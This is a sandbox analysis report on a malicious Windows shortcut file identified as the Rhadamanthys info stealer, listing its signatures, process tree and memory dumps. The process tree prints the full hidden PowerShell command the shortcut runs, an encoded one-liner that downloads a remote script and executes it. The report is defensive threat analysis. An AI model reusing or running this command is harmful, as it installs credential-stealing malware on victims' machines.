Analysis
- max time kernel
92s - max time network
94s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/04/2024, 11:42
General
- Target DOC692 - 692692.lnk
- Size 9KB
- Sample240405-nt7lsabd66
- SHA256 decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_pdhaxyry.avd.ps1
memory/1084-25-0x00000194D8F50000-0x00000194D8F59000-memory.dmp
memory/1084-37-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/1084-36-0x00007FFFA36E0000-0x00007FFFA39A9000-memory.dmp
memory/1084-35-0x00007FFFA3F50000-0x00007FFFA400E000-memory.dmp
memory/1084-33-0x00007FFFA5D50000-0x00007FFFA5F45000-memory.dmp
memory/1084-34-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/1084-30-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/1084-32-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/4876-16-0x0000016216970000-0x0000016216980000-memory.dmp
memory/4876-18-0x0000016216970000-0x0000016216980000-memory.dmp
memory/4876-22-0x00007FFFA3F50000-0x00007FFFA400E000-memory.dmp
memory/4876-23-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-20-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-24-0x00007FFFA36E0000-0x00007FFFA39A9000-memory.dmp
memory/4876-19-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-21-0x00007FFFA5D50000-0x00007FFFA5F45000-memory.dmp
memory/4876-31-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-17-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-2-0x000001622EB60000-0x000001622EB82000-memory.dmp
memory/4876-15-0x0000016231060000-0x00000162310BE000-memory.dmp
memory/4876-14-0x000001622EBA0000-0x000001622EBB0000-memory.dmp
memory/4876-13-0x000001622EBA0000-0x000001622EBB0000-memory.dmp
memory/4876-29-0x00007FFF877D0000-0x00007FFF88291000-memory.dmp
memory/4876-12-0x00007FFF877D0000-0x00007FFF88291000-memory.dmp